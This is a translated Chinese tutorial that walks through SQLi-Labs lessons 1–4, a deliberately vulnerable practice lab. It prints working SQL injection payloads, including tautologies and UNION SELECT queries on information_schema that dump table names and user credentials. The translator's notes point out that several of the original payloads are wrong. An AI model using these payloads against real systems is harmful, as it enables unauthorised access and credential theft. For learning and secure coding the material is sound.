譯者:SQL Libs一直也沒看到有人寫過比較完整的指南,只有作者在自己的博客上帖了一些tip和一些視頻,偶然看到一篇文章在寫這個,便拿過來翻一下,以作參考,原文較長,分成幾個部分。
<img src="http://image.3001.net/images/20140518/14004112635999.png!small" title="1.png"/></p>簡介
結構化查詢語言,也叫做SQL,從根本上說是一種處理數據庫的編程語言。對於初學者,數據庫僅僅是在客戶端和服務端進行數據存儲。SQL通過結構化查詢,關係,面向對象編程等等來管理數據庫。編程極客們總是搞出許多這樣類型的軟件,像MySQL,MS SQL ,Oracle以及Postgresql。現在有一些程序能讓我們有能力通過結構化查詢來管理大型數據庫。腳本小子們一定已經動手體驗了類似SQL注入等這樣的操作,雖然他們可能已經通過使用自動化工具例如SQL Map或者SQLNinja來實施攻擊,但卻還不知它真正的原理。在這篇簡短的教程裏,我將會盡力讓你對SQL 注入是怎樣工作的,攻擊是怎樣發生的以及什麼是應用程序SQL漏洞有一個深入的理解。我們將要使用的實驗室是SQLi Labs,它是一個可以從https://github.com/Audi-1/sqli-labs免費下載,以便我們研究學習以及編寫安全的程序。所以這篇教程對於程序員和安全測試者都將是一次動手實踐的機會。
安裝
-
將源代碼複製到Apache webroot 文件夾(htddocs,/var/www)
-
打開sql-connections文件夾下的“db-creds.inc”文件
-
修改mysql用戶名和密碼爲你自己的
-
打開瀏覽器,通過localhost的index.html訪問文件夾
-
點擊setup/resetDB 鏈接在你的mysql中創造數據庫
-
開始遊戲!
實驗
第一節:GET – 基於錯誤 – 單引號 – 字符型
<img src="http://image.3001.net/images/20140518/14004112897060.png!small" title="3.png"/></p>你會看到“Welcome Dhakkan”(一個北印度俚語,通常指愚蠢的人)。SQLI Labs的編碼者一定是一個很幽默的人。現在我們用數字型注入可以得到一個“id”參數。
-> ?id=1
開火!
<img src="http://image.3001.net/images/20140518/14004113018736.png!small" title="4.png"/></p>任務完成!我們得到了登陸名 Dumb 和密碼 Dump。我們在URL上添加了一個參數,並讓這個參數指向第一條記錄。這是便生成了一個從瀏覽器到數據庫的表中的一個快速的查詢,從而來獲取“id=1”的記錄。同樣,你可以構造查詢來得到後面的記錄如 2,3,4……。
在後端的實際查詢如下:
Select * from TABLE where id=1;
譯者注:
原文這裏只是給了簡單的用了id=1來正常查詢了一條記錄,根據原程序作者博客的說明,這裏應該是有一個字符型的單引號注入,如下解釋:)
在第一節index.php文件的第29行中:
$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1";
這裏的$id是被單引號包裹的。
通過如下的注入查詢可以驗證:
id=1'
<img src="http://image.3001.net/images/20140518/14004114538032.png!small" title="yi1.png"/></p>
(這樣看來,原文作者上面給的實際執行的SQL語句就不對了,應爲Select * from TABLE where id='1';)
以下兩個注入可以成功執行。
' or '1'='1
' or 1=1 --+
後者採用的註釋的方法。
第二課: GET – 基於錯誤 – 數字型
現在我們嘗試通過類似於輸入字符串的方法來攻擊應用程序,例如“abc”和“abcd”。我們注意到在lesson 2中我們收到了一個從數據庫返回的錯誤。下面我們對數字做一些篡改,將'(單引號)添加到數字中。
<img src="http://image.3001.net/images/20140518/14004114696276.png!small" title="5.png"/></p>我們又得到了一個Mysql返回的錯誤,提示我們語法錯誤。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1′ at line 1
現在執行的查詢語句如下:
Select * from TABLE where id = 1’ ;
所以這裏的奇數個單引號破壞了查詢,導致拋出錯誤。
因此我們得出的結果是,查詢代碼使用了整數。
Select * from TABLE where id = (some integer value);
現在,從開發者的視角來看,爲了對這樣的錯誤採取保護措施,我們可以註釋掉剩餘的查詢:
http://localhost/sqli-labs/Less-2/?id=1–-
注意:一定要在註釋符號後加空格,或者URL編碼後的空格(%20),否則註釋符號不會產生作用。
<img src="http://image.3001.net/images/20140518/14004114794125.png!small" title="6.png"/></p>譯者注:
這小節中,原作者同樣使用了單引號來注入,但這並不代表着這個小節,是基於字符串的,大家可以觀察一個單引號注入後的出錯信息,'' LIMIT 0,1′ at line 1和上面我備註圖中的引號個數是不一樣的,稍微分析下,便可以明白。
源代碼中31,32行爲此處的SQL查詢語句。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可以成功注入的有:
or 1=1
or 1=1 --+
第三課:基於錯誤-單引號變形-字符型
在這屆課中,我們將會來學習實施一次基於錯誤的單引號攻擊。在下面的截圖中,我們使用
?id='
注入代碼後,我們得到像這樣的一個錯誤:
MySQL server version for the right syntax to use near ””) LIMIT 0,1′ at line 1
這裏它意味着,開發者使用的查詢是:
Select login_name, select password from table where id= (‘our input here’)
所以我們再用這樣的代碼來進行注入:
?id=1′) –-+
<img src="http://image.3001.net/images/20140518/14004115264091.jpg!small" title="11.jpg"/></p>
這樣一來,我們便可以得到用戶名和密碼了,同時後面查詢也已經被註釋掉了。
譯者注:
源代碼中的SQL查詢語句,31行:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
可以成功注入的有:
') or '1'=('1'
) or 1=1 --+
第四課:基於錯誤-雙引號-字符型
在這節課中,我們將會學習進行一個基於錯誤的雙引號攻擊,如下圖所示:
?id=1"
<img src="http://image.3001.net/images/20140518/14004115413890.jpg!small" title="13.jpg"/></p>
注入這段代碼後,我們可以看到一個用戶名和密碼。(譯者注:這裏看不到用戶名密碼,反而是出錯信息,暫時弄不清楚作者爲什麼出現這個情況)現在我們可以嘗試着去下載數據庫來檢索一些敏感信息。我們假設一開始數據庫中有3列信息。那麼我們這裏就可以用聯合查詢命令來下載數據庫:
?id=1") union selcect 1,2,3 --+
現在做一些SQL的基本操作,我們啓動mysql,然後通過查詢檢查下數據庫:
show databases;
<img src="http://image.3001.net/images/20140518/14004115562043.jpg!small" title="15.jpg"/></p>
這個實驗用到的數據庫名爲security,所以我們選擇security來執行命令。
use security;
<img src="http://image.3001.net/images/20140518/14004115678162.jpg!small" title="17.jpg"/></p>
我們可以查看下這個數據庫中有哪些表
show tables;
<img src="http://image.3001.net/images/20140518/14004115796287.jpg!small" title="19.jpg"/></p>
現在我們可以看到這裏有四張表,然後我們來看下這張表的結構。
desc emails;
<img src="http://image.3001.net/images/20140518/14004115934444.jpg!small" title="22.jpg"/></p>
在繼續進行前臺攻擊時,我們想討論下系統數據庫,即information_schema。所以我們使用它
use information_schema
<img src="http://image.3001.net/images/20140518/1400411646652.jpg!small" title="24.jpg"/></p>
讓我們來看下錶格。
show tables;
<img src="http://image.3001.net/images/20140518/14004116693853.jpg!small" title="26.jpg"/></p>
現在我們先來枚舉這張表
desc tables;
<img src="http://image.3001.net/images/20140518/14004116793305.jpg!small" title="28.jpg"/></p>
現在我們來使用這個查詢:
select table_name from information_schema.tables where table_schema = "security";
<img src="http://image.3001.net/images/20140518/14004116883446.jpg!small" title="30.jpg"/></p>
使用這個查詢,我們可以下載到表名。我們現在來將這個查詢注入到URL,查詢變爲
?id=1”) union select 1,table_name,3 from information_schema.tables where table_schema=’security’ --+
譯者注:
start
這裏原文作者可能本意的查詢語句是如下這個:
?id=”) union select 1,table_name,3 from information_schema.tables where table_schema=’security’ --+
現在我們可以從屏幕中看到第一個表名email。
end
<img src="http://image.3001.net/images/20140518/14004117218895.jpg!small" title="32.jpg"/></p>另一個方法是將所有表的名字分組然後作爲文本把它下載下來。查詢如下:
?id=1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –-+
譯者注:
start
這裏原文作者可能本意的查詢語句是如下這個:
?id='') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –-+
現在我們可以從屏幕中看到第一個表名email。
end
我們可以從結果中看到所有的表。
<img src="http://image.3001.net/images/20140518/14004117564792.png!small" title="33.png"/></p>我們合併多個不同的列,並下載下來。
?id=1'union select 1,group_concat(username),group_concat(password) from users –-+
譯者注:
start
這裏原文作者可能本意的查詢語句是如下這個:
?id='union select 1,group_concat(username),group_concat(password) from users –-+
end
結果如圖所示。
<img src="http://image.3001.net/images/20140518/14004117711036.jpg!small" title="35.jpg"/></p>譯者注:
上面三個聯合查詢,id後面的符號,要根據你所在的那個實驗裏面,根據作者的截圖,它是在第一個實驗裏,所以是使用的單引號,如果是在基於雙引號的查詢裏,需要使用雙引號。
另外三個聯合查詢作者給的注入語句,id後都有一個1,這時候是顯示不出來你想要的,因爲這時候注入的查詢語句會返回兩行,而只是顯示第一行。
源代碼中sql查詢語句,31,31行:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以成功注入的有:
")or ("1")=("1
")or 1=1 --+
[via:infosecinstitute]